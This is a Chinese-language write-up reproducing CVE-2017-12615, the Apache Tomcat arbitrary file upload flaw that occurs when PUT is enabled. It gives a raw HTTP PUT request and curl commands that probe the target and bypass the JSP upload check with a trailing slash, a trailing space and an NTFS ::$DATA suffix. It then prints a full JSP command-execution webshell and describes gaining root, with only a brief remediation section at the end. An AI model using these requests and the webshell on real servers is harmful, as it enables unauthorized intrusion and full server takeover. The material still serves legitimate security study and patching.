CVE-2017-12615漏洞复现
漏洞描述
这是一个关于 Tomcat 任意文件上传的漏洞,在 Tomcat 中启用 PUT 方法会导致任意文件可以上传,从而导致服务器权限被获取。2017 年 9 月 19 日,Apache Tomcat 官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞 (CVE-2017-12615)。
当存在漏洞的 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的 webshell 文件,JSP 文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
漏洞复现
先启动靶机,访问对应的 IP: 端口。

请求头的格式如下:
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell上述成功以后,就会在目标的 web 服务器目录生成一个内容为 shell 的 1.jsp 文件,接下来只需要将里面的内容改为 shell 代码就行了。

使用 burp 抓包修改请求头, 将 GET 改为 PUT,修改请求的文件名就是上传的文件名,在 POST 传输数据传入 jsp 木马内容,请求的地址为想要写入的文件名,例如这里是 /1.jsp,为什么要加入 /1.jsp/ 呢?
是因为 tomcat 解析到后缀名为 jsp 或者 jspx 的时候会交给 JspServlet,最后的 / 是因为文件名特性最后不支持 / 默认会去除就可以绕过 JspServlet 文件的解析。
接下来修改 1.jsp 文件内容,使用 bp 抓包修改请求头, 继续利用 PUT 方法写入 jsp 木马。上传成功后利用工具进行连接。

连接成功,拿到系统权限!
漏洞原理解析
攻击探测
探测PUT方法是否开启
使用 curl 或者 Burpsuite 向目标发送测试请求:
curl -X PUT http://your-ip:8080/test.txt -d "test data"如果返回201或者204,则说明PUT 方法可用,且文件上传成功。这是攻击的前提
如果返回405或403,则说明目标可能安全,攻击无法继续
尝试直接上传jsp
这是关键的一步,用来试探默认的安全机制是否工作
curl -X PUT http://your-ip:8080/shell.jsp -d "<% out.println(\"test\"); %>"预期结果:你会收到一个 403 Forbidden 错误。 这证明 DefaultServlet 的安全检查拦住了你,迫使你必须使用“诡计”绕过
实施绕过
以下三种方法,任意一种就可以。
方法一:斜杠绕过
curl -X PUT http://your-ip:8080/shell.jsp/ -d "<% out.println(\"Hello from JSP!\"); %>"重点:注意 URL 中 shell.jsp 后面的那个斜杠 /。
成功响应:HTTP/1.1 201 Created
原理:检查时路径以/结尾,不是.jsp;存储时 Java 规范化路径移除末尾/,文件变成shell.jsp
方法二:空格绕过
curl -X PUT http://your-ip:8080/shell.jsp%20 -d "<% out.println(\"Hello from JSP!\"); %>"成功响应:HTTP/1.1 201 Created
原理:检查时文件名是 shell.jsp%20;Windows 存储时自动去除末尾空格,文件变成 shell.jsp
方法三:NTFS数据流绕过
curl -X PUT http://your-ip:8080/shell.jsp::$DATA -d "<% out.println(\"Hello from JSP!\"); %>"成功响应:HTTP/1.1 201 Created
原理:::$DATA 是 NTFS 流标识,在文件创建时会被系统忽略
重要提示:如果服务器是 Linux 系统的话,只有方法一可以成功复现,方法二和方法三是 Windows 特有的方法!
验证与利用
将上述的测试 payload 换成真实的 payload,例如一个简单的命令执行后门。
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>此时,利用 curl 命令发送请求,你将在响应体看到 uid=0(root) gid=0(root) groups=0(root) 之类的系统命令执行结果,标志着已完全控制服务器!
流程图
此漏洞复现完整流程图如下:

漏洞修复
此漏洞核心修复方案是阻止攻击者上传和执行恶意 JSP 文件。官方和相关安全机构提供了从根本修复到临时缓解的多层方案,可以参考下面的对比信息,根据实际情况选择
总而言之,对于大多数默认安装的用户来说,只需确认 readonly 配置未被错误修改即可安全。如果曾经手动启用过写入功能,则应优先通过修正配置或升级版本来彻底解决。